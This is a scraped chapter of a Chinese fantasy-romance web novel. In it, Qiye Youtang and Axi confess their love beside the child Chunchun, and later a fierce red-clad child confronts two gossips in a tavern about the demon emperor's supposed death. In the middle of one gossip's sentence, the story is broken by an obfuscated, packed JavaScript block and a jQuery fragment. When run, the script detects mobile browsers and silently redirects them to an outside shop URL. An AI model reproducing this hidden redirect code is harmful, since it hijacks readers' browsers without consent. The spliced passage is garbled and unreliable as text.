文趣网 > 其他小说 > 神女大人后悔救我了吗 > 23. 第 23 章
    等花籽的劲过了,祁夜有棠才带着春春往回走,他再次叮嘱春春不要再叫爹爹娘亲。春春眼巴巴地望着他,一副乖乖模样,好似听进去了。

    回来时天色已黑,他没有上去,只是站在秋千架旁边,推了推。

    秋千上扬又落下,他的目光飞去了木屋又荡了回来。

    春春坐在自己的小秋千上,苦兮兮地望着他:“爹爹,推推~”

    祁夜有棠拧起眉梢,眼神颇为无奈,但还是过去了。

    “娘亲生气了吗?春春去帮爹爹哄哄娘亲?”

    祁夜有棠捂住他的嘴,生怕被上头的人听见。突然发现,这小孩像是开智了一般,竟能说出这番话来。

    “不用。”他轻声说道。

    “那个白爷爷说我这样说,你们就会高兴,但爹爹和娘亲貌似并不高兴。”春春说完,跳下小秋千,跑到深痕前大喊一声,“你骗人!”

    祁夜有棠跟过去,瞅着雷打不动的打坐人,质问道:“那些话是你教春春说的?”

    云中尽眼睛裂开一条小缝,瞅了一眼春春后立马闭上:“老夫本是想帮你们的,便给了春春一粒真言籽,这真言籽本是要给阿兮的,可惜被他改了,一个大反转......哈哈哈哈……”

    春春握着祁夜有棠的手指,点头附和:“是那个白爷爷说夜爷爷教的不对,让我叫爹爹娘亲,叫娘亲爹爹的。”

    祁夜有棠看春春的眼神稍显惊讶,不想他小小年纪竟能分清云中尽身体里住着两个人。

    云中尽似看出了他的疑虑,解释道:“他本体是重明鸟,一目重瞳,看到的东西可比你我这些肉眼凡胎清楚多了。况且你每日都给他喂灵果,昨晚上他又吃了一整株萤火芝,这开智都算晚的!”

    听罢,祁夜有棠收敛神色,摸摸春春脑袋,对云中尽说道:“你为何要将真言籽给阿兮?为了套话?”

    未等云中尽说话,他继续道:“你对鬼灯笼还念念不忘?”

    云中尽哼一声,用祁夜有棠昨晚的口吻说道:“不关你的事。”

    而后下巴朝对面扬了扬:“你的处境貌似有点糟糕啊!”

    祁夜有棠听出他的语气,淡淡一笑,牵着春春走了。

    回到大树底下,祁夜有棠让春春玩秋千,自己则上了木梯。

    “阿兮,对不起。”他端站在木屋门前,看着垂坐在大窗边上的少女背影,“我会正确引导春春,今日的情况不会再出现了。”

    阿兮侧身,似乎并不生气,她拍拍自己旁边的木板,示意他过来坐下。

    祁夜有棠怔了怔,随之一笑,走了过去。

    “我今日一直在想一件事。”阿兮望着天上一轮浑圆的月亮,平静说道,“你喜欢我,我一定要回应你吗?但喜欢是你的事,喜不喜欢是我的事,你可以喜欢,我也可以不喜欢,所以我也可以不回应。”

    祁夜有棠刚还在纠结如何解释白日的事,眼下却被这一番话堵住了嗓子,连心脏也猛烈地颤了颤。

    阿兮指着那轮圆月:“在我的家乡,时常能见到这样的月亮,但下山后我见过的并不多。都说月圆人团圆,但在我们那儿圆月没有任何意义。我曾经去过一个地方,那里甚至没有月亮。”

    她停了一息,继续道:“但我好像更喜欢这里的月亮!”

    祁夜有棠一下攥紧衣角,不深的指甲陷入皮肉。他缓缓看向阿兮,眸中看不出任何能让他冷静下来的情绪。

    阿兮也转向他:“但我的喜欢只是喜欢,我不会为了你做出改变,更不会为了喜欢一个人而罔顾自身性命。如果这些你能接受,那我们就提前说好,日后你若是不喜欢了,需得告诉我之后才能喜欢其他姑娘,否则......”

    “不会。”阿兮尚未说完,祁夜有棠便一把将她抱住,“你是我全部的喜欢,我的喜欢已容不下其他任何一个姑娘。”

    他眼眶微微泛红,眼眸在月光下泛着细碎的光点:“阿兮,只管做自己,不需要任何改变,我喜欢的是我所看见的你。还有,若是必须流血,那么我来便是,我只希望我喜欢的姑娘能够平安顺遂。”

    声音稍显沙哑,停了一息,他继续道:“阿兮,我喜欢你,你也刚好喜欢我,已是人生一大幸事。”

    阿兮眨眨眼,也环住他的背:“你有没有什么要问我的?”

    祁夜有棠没有立刻回答,思忖片刻后摇了摇头:“等你想说了我再问你。”

    阿兮眼眸一弯:“那我送你一样东西。”

    她将手伸出,天空中立时降落一道清辉,汇聚在她的掌心,凝成一颗豆大的小光珠。

    “噬月豆,在暗处能发出月亮一样的光。”

    祁夜有棠将自己全身上下能拿得出手的东西全都想了一遍,但貌似都配不上阿兮。

    “我要你的那只陶笛。”阿兮率先开口。

    祁夜有棠神情一顿,那只陶笛是他从街上买来的,只在听到人皇占领什昉国的时候特意避开阿兮吹过一次,阿兮如何知道的?

    “那日,你也在?”

    阿兮也不隐瞒:“怕你出事,便跟着去了。”

    祁夜有棠将怀中的人抱得更紧了些:“谢谢你,阿兮。但那陶笛不好用,明日我做一个新的给你。”

    阿兮应声:“好。”

    “娘亲爹爹,春春也要抱抱~”

    春春扒拉着屋顶垂下的藤条,小腿一甩,竟从木梯上翻滚了进来。

    第二日,小木屋里频频传出陶笛声。

    云中尽将脚下的深痕盯了许久,终还是撤回了脚,迈着大步去了山下。

    小木屋里,祁夜有棠和阿兮各坐一头,坐在中间的春春双手托着下巴,头上绑的两个小揪揪各插着一朵小红花,爱笑的眼睛一会看他,一会看她,可爱软糯的脸蛋从不吝啬笑容。

    几日后的夏夏会和春春一样可爱吧!

    二人一致认为,且理当如此。

    ***

    天盛城。

    一个夜黑风高的晚上,街道空落落,两旁门窗紧闭,唯尽头的小酒馆微敞着门,暖黄的灯光下,有二人举杯对饮,一胖一瘦,半醉半醒。

    “小道消息,你们未来的少夫人跟一蛇妖有染!”

    白衣胖子猛猛摇头,睁大的眼睛却是好奇:“我只听说她脾气怪,常把自己栓家里。”

    蓝衣瘦子拍拍他肩膀:“我说兄弟,这消息可不是假的,哥们也是卖你个人情,你只管去提醒你们家少爷,自会有你的好处。”

    白衣胖子喝口酒压压惊:“我......试试看!”

    蓝衣瘦子对着脑袋就是一拍:“什么叫试试看,若是等此女进了白家,你们家老爷夫人,特别是那位少爷追究起来,你肯定吃不了兜着走。”

    白衣胖子慌得改了口:“等我们少爷回来了,我就去说。”

    “这就对了嘛!那么大一个白府,怎能受此等大辱?”蓝衣瘦子捉起酒杯,“就像当年轰动天下的妖皇抢亲事件,如此算计和背叛,搁谁能受得了!”

    “你是说百年前的常兮神女剑斩妖皇的事吗?”

    蓝衣瘦子猛喝一口酒:“我不是要为常兮辩驳什么,我只是说我听到的。”

    他两巴掌怒甩在桌面上:“妖皇祁夜有棠真不是个东西!”

    “什昉国灭,他被人追杀,也就是运气好被一女子所救,那女子真心实意待他,端茶倒水洗衣做饭,把他当太子一样伺候。他倒好,一边吊着她一边追爱常兮,最后怕被常兮发现,竟狠心杀了自己的救命恩人!”

    “这么狠?”白衣胖子瞪圆了眼睛。

    蓝衣瘦子瞅了眼四周,凑他耳边道:“我还听说,他在当太子的时候就是人前光鲜,人后纵情享乐,每日和乐师们厮混,门开着就是丝竹盈耳,门关了就是酒池肉林,搞大了宫女的肚子不说还把太子妃逼得跳了城楼。”

    他的表情就像是亲眼目睹过的,白胖子也认真了,惊呼道:“那妖皇玩得这么花啊!不是痴迷常兮神女吗?怎么又蹦出来这么多女人?”

    “这还不明显?他当时就是想攀上神主女婿这个身份,什么妖皇痴子?他就是给自己立了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550442|202579||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个痴情种的牌坊,实际上心思可花了,这背地里不知还有多少个女人呢!也是谎言勘破,神族那位尊贵的天之骄女能受得此等侮辱?把他斩成渣渣那都是轻的!”蓝瘦子歪着嘴,仿佛也在为神女愤怒。

    “什么东西?”

    火烛一瞬晃荡,他二人听见外头传来一个质疑人声,像是个小孩。

    室内晃动的光影将地上一个时隐时现的黑影拉得老长,甚至延伸上了一面墙。

    半开的门,惊现一道狭长刀光。

    二人缓缓侧目,四目相对,眼神里全是惊恐。

    惊慌到烛光安静下来,地上的人影也更稳定了,身长刀更长。

    须臾,门外响起一阵长刀擦地的刺响,室内高大的人影开始摇晃起来,愈来愈近,越来越大。

    那人竟朝这边走来了!

    二人惊得拿起了屋内一切能进攻的东西。

    然人影拉近,却见走入大门里的竟是一个小孩。

    一身单薄红衣,头大身小,皮肤白里透红,脖子上挂着个小铃铛,短短的黑发扎了个冲天马尾,眯成一条线的眼睛有一种随时可能发狂的宁静。

    “祁夜有棠被谁杀了?”

    沉沉的小人音,却像是在审问犯人。

    以为会是什么彪形大汉,趁晚打劫来的,不想却是个乳臭未干的小娃娃。

    蓝衣瘦子又往桌上拍了一掌:“小屁孩,你娘怎么教你的?深更半夜拖把长刀出来吓人干什么?要死啊!”

    小孩眼眸骤然一沉,神色倒是淡定:“吓你干嘛?小爷我被深井困了一百年,憋了一肚子的气。现在好不容易出来了,当然得找人发泄发泄!”

    “发泄?”蓝衣瘦子捧腹大笑,“小屁孩,断奶了吗就装大人说话。哎哟,笑死老子了!”

    红衣小孩似乎并不生气,只是默默地将手中的大刀从地上扛到了自己肩上。

    “你说这话的时候考虑过自己的处境吗?”

    下一刻,足足有两个他来高的大刀“啪”一声砸在桌上,桌面开裂,酒坛碗碟哗啦啦碎了一地。

    前一秒还在笑的胖瘦二人现在也不笑了。

    他们看见一个红衣残影“唰”一声飞来他们中间,一脚踩一只肩膀。那瘦小身影往下一蹲,一手揪起一只耳朵。

    “小爷我从小吃雷挨棒槌,什么世面没见过?今天倒是被你们两个不长眼睛的东西给开了眼。”

    “说,祁夜有棠被谁杀了?你小爷我全身上下都是火,从来不曾冷静过,说错一个字,把你们烤了吃!”

    小红衣下手颇重,一点不顾他人死活,白衣胖子痛得嗷嗷叫。蓝衣瘦子虚捧着自己耳朵,堂堂七尺男儿被一小崽子踩在胯.下,痛苦的声音嵌入被羞辱的薄愤:“他迷恋的常……常常常兮神女啊!”

    “我呸,他有儿子有媳妇儿,怎么就被那天杀的神女给迷着了?”

    “真的,不信你可以问他……”

    白衣胖子不敢点头:“嗯嗯嗯。”

    小红衣火一样的眸子冒着一种不容冒犯的愤怒:“放屁!”

    “放狗臭屁!”

    “他天天都在想着怎么舔我娘,怎会迷上那什么神女?”

    “你娘也是万千受害者之一!”

    一直没开口的白衣胖子突然说了句这样的话。

    这可急坏了蓝衣瘦子:“笨蛋!你激他干什么?”

    白衣胖子:“他有权知道真相!”

    蓝衣瘦子疼得面容扭曲:“真相你大爷,那是我从那......什么书上看来的。”

    白衣胖子:“……哈?”

    小红衣却认了真,他将捏在手里的两只耳朵往后一甩,自己则捡起长刀,飞步往外去了。

    被丢地上的二人捂耳缓慢爬起,忽听外头传来声音。

    “老东西你真不是个东西!”

    “老头?你怎么来了?”

    “啊!!!!”

    “这狼牙棒怎滴越来越大了?”

    “啊~”

    “爹爹,孩儿错了!”